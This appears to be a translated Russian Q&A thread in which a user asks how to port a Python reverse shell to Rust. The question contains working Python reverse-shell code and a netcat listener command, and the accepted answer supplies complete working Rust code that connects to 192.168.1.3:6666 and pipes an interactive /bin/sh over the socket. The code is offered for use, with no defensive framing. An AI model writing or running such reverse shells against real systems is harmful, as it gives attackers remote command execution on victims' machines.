Что такое эквивалент Rust скрипта обратной оболочки, написанного на Python?

Можно создать обратную оболочку, используя Python, со следующим примером кода, если компьютер с IP-адресом прослушивает данный порт:

import socket, subprocess, os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((\"192.168.1.3\", 6666));

os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);

p=subprocess.call([\"/bin/sh\", \"-i\"]);

Я пытаюсь продублировать этот процесс с помощью Rust:

let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").expect("Couldn't connect to the server...");

Я получил только TCP-соединение с моей хост-машиной (прослушивание с помощью netcat: nc -l -p 6666). Если я правильно понимаю, мне нужно перенаправить стандартный ввод, вывод и ошибку через сокет и затем как-то "вызвать" /bin/sh (я должен использовать /bin/bash?). Я относительно новичок в сети, и я не понимаю многих концепций.

Может ли кто-нибудь помочь мне создать этот скрипт обратной оболочки в Rust?

1 ответ

Решение

Эквивалентом вашей обратной оболочки Python в Rust будет:

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
    let s = TcpStream::connect("192.168.1.3:6666").unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}
Другие вопросы по тегам